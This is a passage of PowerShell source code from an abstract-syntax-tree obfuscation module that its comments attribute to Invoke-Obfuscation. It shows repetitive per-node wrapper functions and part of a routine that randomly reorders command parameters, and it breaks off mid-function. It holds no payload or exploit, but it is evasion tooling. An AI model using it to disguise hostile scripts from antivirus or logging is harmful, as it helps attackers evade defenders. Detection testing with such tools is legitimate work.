3886 [Parameter(Position = 1)]
3887 [ValidateNotNullOrEmpty()]
3888 [Alias('AstTypes', 'Types')]
3889 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
3890
3891 [Switch] $DisableNestedObfuscation
3892 )
3893 Process {
3894 Write-Verbose "[Out-ObfuscatedFunctionDefinitionAst]"
3895 If (-not $DisableNestedObfuscation) {
3896 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
3897 }
3898 Else { $AbstractSyntaxTree.Extent.Text }
3899 }
3900 }
3901
3902 function Out-ObfuscatedIfStatementAst {
3903 <#
3904
3905 .SYNOPSIS
3906
3907 Obfuscates a IfStatementAst using AbstractSyntaxTree-based obfuscation rules.
3908
3909 Author: Ryan Cobb (@cobbr_io)
3910 License: Apache License, Version 2.0
3911 Required Dependecies: Out-ObfuscatedChildrenAst
3912 Optional Dependencies: none
3913
3914 .DESCRIPTION
3915
3916 Out-ObfuscatedIfStatementAst obfuscates a IfStatementAst using AbstractSyntaxTree-based obfuscation rules.
3917
3918 .PARAMETER AbstractSyntaxTree
3919
3920 Specifies the IfStatementAst to be obfuscated.
3921
3922 .PARAMETER AstTypesToObfuscate
3923
3924 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
3925
3926 .PARAMETER DisableNestedObfuscation
3927
3928 Specifies that only the root IfStatementAst should be obfuscated, obfuscation should not be applied recursively.
3929
3930 .OUTPUTS
3931
3932 String
3933
3934 .EXAMPLE
3935
3936 Out-ObfuscatedIfStatementAst -Ast $IfStatementAst
3937
3938 .NOTES
3939
3940 Out-ObfuscatedIfStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
3941
3942 #>
3943 Param (
3944 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
3945 [ValidateNotNullOrEmpty()]
3946 [Alias('Ast')]
3947 [System.Management.Automation.Language.IfStatementAst] $AbstractSyntaxTree,
3948
3949 [Parameter(Position = 1)]
3950 [ValidateNotNullOrEmpty()]
3951 [Alias('AstTypes', 'Types')]
3952 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
3953
3954 [Switch] $DisableNestedObfuscation
3955 )
3956 Process {
3957 Write-Verbose "[Out-ObfuscatedIfStatementAst]"
3958 If (-not $DisableNestedObfuscation) {
3959 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
3960 }
3961 Else { $AbstractSyntaxTree.Extent.Text }
3962 }
3963 }
3964
3965 function Out-ObfuscatedLabeledStatementAst {
3966 <#
3967
3968 .SYNOPSIS
3969
3970 Obfuscates a LabeledStatementAst using AbstractSyntaxTree-based obfuscation rules.
3971
3972 Author: Ryan Cobb (@cobbr_io)
3973 License: Apache License, Version 2.0
3974 Required Dependecies: Out-ObfuscatedChildrenAst
3975 Optional Dependencies: none
3976
3977 .DESCRIPTION
3978
3979 Out-ObfuscatedLabeledStatementAst obfuscates a LabeledStatementAst using AbstractSyntaxTree-based obfuscation rules.
3980
3981 .PARAMETER AbstractSyntaxTree
3982
3983 Specifies the LabeledStatementAst to be obfuscated.
3984
3985 .PARAMETER AstTypesToObfuscate
3986
3987 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
3988
3989 .PARAMETER DisableNestedObfuscation
3990
3991 Specifies that only the root LabeledStatementAst should be obfuscated, obfuscation should not be applied recursively.
3992
3993 .OUTPUTS
3994
3995 String
3996
3997 .EXAMPLE
3998
3999 Out-ObfuscatedLabeledStatementAst -Ast $IfStatementAst
4000
4001 .NOTES
4002
4003 Out-ObfuscatedLabeledStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
4004
4005 #>
4006 Param (
4007 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
4008 [ValidateNotNullOrEmpty()]
4009 [Alias('Ast')]
4010 [System.Management.Automation.Language.LabeledStatementAst] $AbstractSyntaxTree,
4011
4012 [Parameter(Position = 1)]
4013 [ValidateNotNullOrEmpty()]
4014 [Alias('AstTypes', 'Types')]
4015 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
4016
4017 [Switch] $DisableNestedObfuscation
4018 )
4019 Process {
4020 Write-Verbose "[Out-ObfuscatedLabeledStatementAst]"
4021 If (-not $DisableNestedObfuscation) {
4022 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
4023 }
4024 Else { $AbstractSyntaxTree.Extent.Text }
4025 }
4026 }
4027
4028 function Out-ObfuscatedPipelineBaseAst {
4029 <#
4030
4031 .SYNOPSIS
4032
4033 Obfuscates a PipelineBaseAst using AbstractSyntaxTree-based obfuscation rules.
4034
4035 Author: Ryan Cobb (@cobbr_io)
4036 License: Apache License, Version 2.0
4037 Required Dependecies: Out-ObfuscatedChildrenAst
4038 Optional Dependencies: none
4039
4040 .DESCRIPTION
4041
4042 Out-ObfuscatedPipelineBaseAst obfuscates a PipelineBaseAst using AbstractSyntaxTree-based obfuscation rules.
4043
4044 .PARAMETER AbstractSyntaxTree
4045
4046 Specifies the PipelineBaseAst to be obfuscated.
4047
4048 .PARAMETER AstTypesToObfuscate
4049
4050 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
4051
4052 .PARAMETER DisableNestedObfuscation
4053
4054 Specifies that only the root PipelineBaseAst should be obfuscated, obfuscation should not be applied recursively.
4055
4056 .OUTPUTS
4057
4058 String
4059
4060 .EXAMPLE
4061
4062 Out-ObfuscatedPipelineBaseAst -Ast $PipelineBaseAst
4063
4064 .NOTES
4065
4066 Out-ObfuscatedPipelineBaseAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
4067
4068 #>
4069 Param (
4070 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
4071 [ValidateNotNullOrEmpty()]
4072 [Alias('Ast')]
4073 [System.Management.Automation.Language.PipelineBaseAst] $AbstractSyntaxTree,
4074
4075 [Parameter(Position = 1)]
4076 [ValidateNotNullOrEmpty()]
4077 [Alias('AstTypes', 'Types')]
4078 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
4079
4080 [Switch] $DisableNestedObfuscation
4081 )
4082 Process {
4083 Write-Verbose "[Out-ObfuscatedPipelineBaseAst]"
4084 If (-not $DisableNestedObfuscation) {
4085 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
4086 }
4087 Else { $AbstractSyntaxTree.Extent.Text }
4088 }
4089 }
4090
4091 function Out-ObfuscatedReturnStatementAst {
4092 <#
4093
4094 .SYNOPSIS
4095
4096 Obfuscates a ReturnStatementAst using AbstractSyntaxTree-based obfuscation rules.
4097
4098 Author: Ryan Cobb (@cobbr_io)
4099 License: Apache License, Version 2.0
4100 Required Dependecies: Out-ObfuscatedChildrenAst
4101 Optional Dependencies: none
4102
4103 .DESCRIPTION
4104
4105 Out-ObfuscatedReturnStatementAst obfuscates a ReturnStatementAst using AbstractSyntaxTree-based obfuscation rules.
4106
4107 .PARAMETER AbstractSyntaxTree
4108
4109 Specifies the ReturnStatementAst to be obfuscated.
4110
4111 .PARAMETER AstTypesToObfuscate
4112
4113 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
4114
4115 .PARAMETER DisableNestedObfuscation
4116
4117 Specifies that only the root ReturnStatementAst should be obfuscated, obfuscation should not be applied recursively.
4118
4119 .OUTPUTS
4120
4121 String
4122
4123 .EXAMPLE
4124
4125 Out-ObfuscatedReturnStatementAst -Ast $ReturnStatementAst
4126
4127 .NOTES
4128
4129 Out-ObfuscatedReturnStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
4130
4131 #>
4132 Param (
4133 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
4134 [ValidateNotNullOrEmpty()]
4135 [Alias('Ast')]
4136 [System.Management.Automation.Language.ReturnStatementAst] $AbstractSyntaxTree,
4137
4138 [Parameter(Position = 1)]
4139 [ValidateNotNullOrEmpty()]
4140 [Alias('AstTypes', 'Types')]
4141 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
4142
4143 [Switch] $DisableNestedObfuscation
4144 )
4145 Process {
4146 Write-Verbose "[Out-ObfuscatedReturnStatementAst]"
4147 If (-not $DisableNestedObfuscation) {
4148 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
4149 }
4150 Else { $AbstractSyntaxTree.Extent.Text }
4151 }
4152 }
4153
4154 function Out-ObfuscatedThrowStatementAst {
4155 <#
4156
4157 .SYNOPSIS
4158
4159 Obfuscates a ThrowStatementAst using AbstractSyntaxTree-based obfuscation rules.
4160
4161 Author: Ryan Cobb (@cobbr_io)
4162 License: Apache License, Version 2.0
4163 Required Dependecies: Out-ObfuscatedChildrenAst
4164 Optional Dependencies: none
4165
4166 .DESCRIPTION
4167
4168 Out-ObfuscatedThrowStatementAst obfuscates a ThrowStatementAst using AbstractSyntaxTree-based obfuscation rules.
4169
4170 .PARAMETER AbstractSyntaxTree
4171
4172 Specifies the ThrowStatementAst to be obfuscated.
4173
4174 .PARAMETER AstTypesToObfuscate
4175
4176 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
4177
4178 .PARAMETER DisableNestedObfuscation
4179
4180 Specifies that only the root ThrowStatementAst should be obfuscated, obfuscation should not be applied recursively.
4181
4182 .OUTPUTS
4183
4184 String
4185
4186 .EXAMPLE
4187
4188 Out-ObfuscatedThrowStatementAst -Ast $ThrowStatementAst
4189
4190 .NOTES
4191
4192 Out-ObfuscatedThrowStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
4193
4194 #>
4195 Param (
4196 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
4197 [ValidateNotNullOrEmpty()]
4198 [Alias('Ast')]
4199 [System.Management.Automation.Language.ThrowStatementAst] $AbstractSyntaxTree,
4200
4201 [Parameter(Position = 1)]
4202 [ValidateNotNullOrEmpty()]
4203 [Alias('AstTypes', 'Types')]
4204 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
4205
4206 [Switch] $DisableNestedObfuscation
4207 )
4208 Process {
4209 Write-Verbose "[Out-ObfuscatedThrowStatementAst]"
4210 If (-not $DisableNestedObfuscation) {
4211 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
4212 }
4213 Else { $AbstractSyntaxTree.Extent.Text }
4214 }
4215 }
4216
4217 function Out-ObfuscatedTrapStatementAst {
4218 <#
4219
4220 .SYNOPSIS
4221
4222 Obfuscates a TrapStatementAst using AbstractSyntaxTree-based obfuscation rules.
4223
4224 Author: Ryan Cobb (@cobbr_io)
4225 License: Apache License, Version 2.0
4226 Required Dependecies: Out-ObfuscatedChildrenAst
4227 Optional Dependencies: none
4228
4229 .DESCRIPTION
4230
4231 Out-ObfuscatedTrapStatementAst obfuscates a TrapStatementAst using AbstractSyntaxTree-based obfuscation rules.
4232
4233 .PARAMETER AbstractSyntaxTree
4234
4235 Specifies the TrapStatementAst to be obfuscated.
4236
4237 .PARAMETER AstTypesToObfuscate
4238
4239 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
4240
4241 .PARAMETER DisableNestedObfuscation
4242
4243 Specifies that only the root TrapStatementAst should be obfuscated, obfuscation should not be applied recursively.
4244
4245 .OUTPUTS
4246
4247 String
4248
4249 .EXAMPLE
4250
4251 Out-ObfuscatedTrapStatementAst -Ast $TrapStatementAst
4252
4253 .NOTES
4254
4255 Out-ObfuscatedTrapStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
4256
4257 #>
4258 Param (
4259 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
4260 [ValidateNotNullOrEmpty()]
4261 [Alias('Ast')]
4262 [System.Management.Automation.Language.TrapStatementAst] $AbstractSyntaxTree,
4263
4264 [Parameter(Position = 1)]
4265 [ValidateNotNullOrEmpty()]
4266 [Alias('AstTypes', 'Types')]
4267 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
4268
4269 [Switch] $DisableNestedObfuscation
4270 )
4271 Process {
4272 Write-Verbose "[Out-ObfuscatedTrapStatementAst]"
4273 If (-not $DisableNestedObfuscation) {
4274 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
4275 }
4276 Else { $AbstractSyntaxTree.Extent.Text }
4277 }
4278 }
4279
4280 function Out-ObfuscatedTryStatementAst {
4281 <#
4282
4283 .SYNOPSIS
4284
4285 Obfuscates a TryStatementAst using AbstractSyntaxTree-based obfuscation rules.
4286
4287 Author: Ryan Cobb (@cobbr_io)
4288 License: Apache License, Version 2.0
4289 Required Dependecies: Out-ObfuscatedChildrenAst
4290 Optional Dependencies: none
4291
4292 .DESCRIPTION
4293
4294 Out-ObfuscatedTryStatementAst obfuscates a TryStatementAst using AbstractSyntaxTree-based obfuscation rules.
4295
4296 .PARAMETER AbstractSyntaxTree
4297
4298 Specifies the TryStatementAst to be obfuscated.
4299
4300 .PARAMETER AstTypesToObfuscate
4301
4302 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
4303
4304 .PARAMETER DisableNestedObfuscation
4305
4306 Specifies that only the root TryStatementAst should be obfuscated, obfuscation should not be applied recursively.
4307
4308 .OUTPUTS
4309
4310 String
4311
4312 .EXAMPLE
4313
4314 Out-ObfuscatedTryStatementAst -Ast $TryStatementAst
4315
4316 .NOTES
4317
4318 Out-ObfuscatedTryStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
4319
4320 #>
4321 Param (
4322 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
4323 [ValidateNotNullOrEmpty()]
4324 [Alias('Ast')]
4325 [System.Management.Automation.Language.TryStatementAst] $AbstractSyntaxTree,
4326
4327 [Parameter(Position = 1)]
4328 [ValidateNotNullOrEmpty()]
4329 [Alias('AstTypes', 'Types')]
4330 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
4331
4332 [Switch] $DisableNestedObfuscation
4333 )
4334 Process {
4335 Write-Verbose "[Out-ObfuscatedTryStatementAst]"
4336 If (-not $DisableNestedObfuscation) {
4337 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
4338 }
4339 Else { $AbstractSyntaxTree.Extent.Text }
4340 }
4341 }
4342
4343 function Out-ObfuscatedTypeDefinitionAst {
4344 <#
4345
4346 .SYNOPSIS
4347
4348 Obfuscates a TypeDefinitionAst using AbstractSyntaxTree-based obfuscation rules.
4349
4350 Author: Ryan Cobb (@cobbr_io)
4351 License: Apache License, Version 2.0
4352 Required Dependecies: Out-ObfuscatedChildrenAst
4353 Optional Dependencies: none
4354
4355 .DESCRIPTION
4356
4357 Out-ObfuscatedTypeDefinitionAst obfuscates a TypeDefinitionAst using AbstractSyntaxTree-based obfuscation rules.
4358
4359 .PARAMETER AbstractSyntaxTree
4360
4361 Specifies the TypeDefinitionAst to be obfuscated.
4362
4363 .PARAMETER AstTypesToObfuscate
4364
4365 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
4366
4367 .PARAMETER DisableNestedObfuscation
4368
4369 Specifies that only the root TypeDefinitionAst should be obfuscated, obfuscation should not be applied recursively.
4370
4371 .OUTPUTS
4372
4373 String
4374
4375 .EXAMPLE
4376
4377 Out-ObfuscatedTypeDefinitionAst -Ast $TypeDefinitionAst
4378
4379 .NOTES
4380
4381 Out-ObfuscatedTypeDefinitionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
4382
4383 #>
4384 Param (
4385 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
4386 [ValidateNotNullOrEmpty()]
4387 [Alias('Ast')]
4388 [System.Management.Automation.Language.TypeDefinitionAst] $AbstractSyntaxTree,
4389
4390 [Parameter(Position = 1)]
4391 [ValidateNotNullOrEmpty()]
4392 [Alias('AstTypes', 'Types')]
4393 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
4394
4395 [Switch] $DisableNestedObfuscation
4396 )
4397 Process {
4398 Write-Verbose "[Out-ObfuscatedTypeDefinitionAst]"
4399 If (-not $DisableNestedObfuscation) {
4400 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
4401 }
4402 Else { $AbstractSyntaxTree.Extent.Text }
4403 }
4404 }
4405
4406 function Out-ObfuscatedUsingStatementAst {
4407 <#
4408
4409 .SYNOPSIS
4410
4411 Obfuscates a UsingStatementAst using AbstractSyntaxTree-based obfuscation rules.
4412
4413 Author: Ryan Cobb (@cobbr_io)
4414 License: Apache License, Version 2.0
4415 Required Dependecies: Out-ObfuscatedChildrenAst
4416 Optional Dependencies: none
4417
4418 .DESCRIPTION
4419
4420 Out-ObfuscatedUsingStatementAst obfuscates a UsingStatementAst using AbstractSyntaxTree-based obfuscation rules.
4421
4422 .PARAMETER AbstractSyntaxTree
4423
4424 Specifies the UsingStatementAst to be obfuscated.
4425
4426 .PARAMETER AstTypesToObfuscate
4427
4428 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
4429
4430 .PARAMETER DisableNestedObfuscation
4431
4432 Specifies that only the root UsingStatementAst should be obfuscated, obfuscation should not be applied recursively.
4433
4434 .OUTPUTS
4435
4436 String
4437
4438 .EXAMPLE
4439
4440 Out-ObfuscatedUsingStatementAst -Ast $UsingStatementAst
4441
4442 .NOTES
4443
4444 Out-ObfuscatedUsingStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
4445
4446 #>
4447 Param (
4448 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
4449 [ValidateNotNullOrEmpty()]
4450 [Alias('Ast')]
4451 [System.Management.Automation.Language.UsingStatementAst] $AbstractSyntaxTree,
4452
4453 [Parameter(Position = 1)]
4454 [ValidateNotNullOrEmpty()]
4455 [Alias('AstTypes', 'Types')]
4456 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
4457
4458 [Switch] $DisableNestedObfuscation
4459 )
4460 Process {
4461 Write-Verbose "[Out-ObfuscatedUsingStatementAst]"
4462 If (-not $DisableNestedObfuscation) {
4463 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
4464 }
4465 Else { $AbstractSyntaxTree.Extent.Text }
4466 }
4467 }
4468
4469 # CommandBaseAst Inherited Classes
4470
4471 function Out-ObfuscatedCommandAst {
4472 <#
4473
4474 .SYNOPSIS
4475
4476 Obfuscates a CommandAst using AbstractSyntaxTree-based obfuscation rules.
4477
4478 Author: Ryan Cobb (@cobbr_io)
4479 License: Apache License, Version 2.0
4480 Required Dependecies: Get-AstChildren, Out-ObfuscatedAst, Out-ObfuscatedChildrenAst
4481 Optional Dependencies: none
4482
4483 .DESCRIPTION
4484
4485 Out-ObfuscatedCommandAst obfuscates a CommandAst using AbstractSyntaxTree-based obfuscation rules.
4486
4487 .PARAMETER AbstractSyntaxTree
4488
4489 Specifies the CommandAst to be obfuscated.
4490
4491 .PARAMETER AstTypesToObfuscate
4492
4493 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
4494
4495 .PARAMETER DisableNestedObfuscation
4496
4497 Specifies that only the root CommandAst should be obfuscated, obfuscation should not be applied recursively.
4498
4499 .OUTPUTS
4500
4501 String
4502
4503 .EXAMPLE
4504
4505 Out-ObfuscatedCommandAst -Ast $CommandAst
4506
4507 .NOTES
4508
4509 Out-ObfuscatedCommandAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
4510
4511 #>
4512 Param (
4513 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
4514 [ValidateNotNullOrEmpty()]
4515 [Alias('Ast')]
4516 [System.Management.Automation.Language.CommandAst] $AbstractSyntaxTree,
4517
4518 [Parameter(Position = 1)]
4519 [ValidateNotNullOrEmpty()]
4520 [Alias('AstTypes', 'Types')]
4521 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
4522
4523 [Switch] $DisableNestedObfuscation
4524 )
4525 Process {
4526 Write-Verbose "[Out-ObfuscatedCommandAst]"
4527 If (-not ($AbstractSyntaxTree.GetType() -in $AstTypesToObfuscate)) {
4528 If (-not $DisableNestedObfuscation) {
4529 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
4530 }
4531 Else { $AbstractSyntaxTree.Extent.Text }
4532 }
4533 ElseIf (-not $DisableNestedObfuscation) {
4534 $Children = Get-AstChildren -AbstractSyntaxTree $AbstractSyntaxTree
4535 If($Children.Count -ge 5) {
4536 $ReorderableIndices = @()
4537 $ObfuscatedReorderableExtents = @()
4538 $LastChild = $Children[1]
4539 For ([Int] $i = 2; $i -lt $Children.Count; $i++) {
4540 $CurrentChild = $Children[$i]
4541 If ($LastChild.GetType().Name -eq 'CommandParameterAst' -AND $CurrentChild.GetType().Name -ne 'CommandParameterAst') {
4542 $FirstIndex = $LastChild.Extent.StartOffset - $AbstractSyntaxTree.Extent.StartOffset
4543 $PairLength = $CurrentChild.Extent.StartOffset + $CurrentChild.Extent.Text.Length - $LastChild.Extent.StartOffset
4544 $SecondIndex = $CurrentChild.Extent.StartOffset + $CurrentChild.Extent.Text.Length - $AbstractSyntaxTree.Extent.StartOffset
4545 $PairExtent = $AbstractSyntaxTree.Extent.Text.Substring($FirstIndex, $PairLength)
4546 $ObfuscatedLastChild = Out-ObfuscatedAst -AbstractSyntaxTree $LastChild -AstTypesToObfuscate $AstTypesToObfuscate
4547 $ObfuscatedCurrentChild = Out-ObfuscatedAst -AbstractSyntaxTree $CurrentChild -AstTypesToObfuscate $AstTypesToObfuscate
4548 $ObfuscatedPairExtent = $ObfuscatedLastChild + " " + $ObfuscatedCurrentChild
4549 $ReorderableIndices += [Tuple]::Create($FirstIndex, $SecondIndex)
4550 $ObfuscatedReorderableExtents += [String] $ObfuscatedPairExtent
4551 }
4552 ElseIf ($LastChild.GetType().Name -eq 'CommandParameterAst' -AND $CurrentChild.GetType().Name -eq 'CommandParameterAst') {
4553 $ObfuscatedLastChild = Out-ObfuscatedAst -AbstractSyntaxTree $LastChild -AstTypesToObfuscate $AstTypesToObfuscate
4554 $FirstIndex = $LastChild.Extent.StartOffset - $AbstractSyntaxTree.Extent.StartOffset
4555 $SecondIndex = $LastChild.Extent.StartOffset + $LastChild.Extent.Text.Length - $AbstractSyntaxTree.Extent.StartOffset
4556 $ReorderableIndices += [Tuple]::Create($FirstIndex, $SecondIndex)
4557 $ObfuscatedReorderableExtents += [String] $ObfuscatedLastChild
4558 }
4559 ElseIf ($CurrentChild.GetType().Name -eq 'CommandParameterAst' -AND $i -eq ($Children.Count -1)) {
4560 $ObfuscatedCurrentChild = Out-ObfuscatedAst -AbstractSyntaxTree $CurrentChild -AstTypesToObfuscate $AstTypesToObfuscate
4561 $FirstIndex = $CurrentChild.Extent.StartOffset - $AbstractSyntaxTree.Extent.StartOffset
4562 $SecondIndex = $CurrentChild.Extent.StartOffset + $CurrentChild.Extent.Text.Length - $AbstractSyntaxTree.Extent.StartOffset
4563 $ReorderableIndices += [Tuple]::Create($FirstIndex, $SecondIndex)
4564 $ObfuscatedReorderableExtents += [String] $ObfuscatedCurrentChild
4565 }
4566 $LastChild = $CurrentChild
4567 }
4568 If ($ObfuscatedReorderableExtents.Count -gt 1) {
4569 $ObfuscatedReorderableExtents = $ObfuscatedReorderableExtents | Get-Random -Count $ObfuscatedReorderableExtents.Count
4570 $ObfuscatedExtent = $AbstractSyntaxTree.Extent.Text
4571 For ([Int] $i = 0; $i -lt $ObfuscatedReorderableExtents.Count; $i++) {
4572 $LengthDifference = $ObfuscatedExtent.Length - $AbstractSyntaxTree.Extent.Text.Length
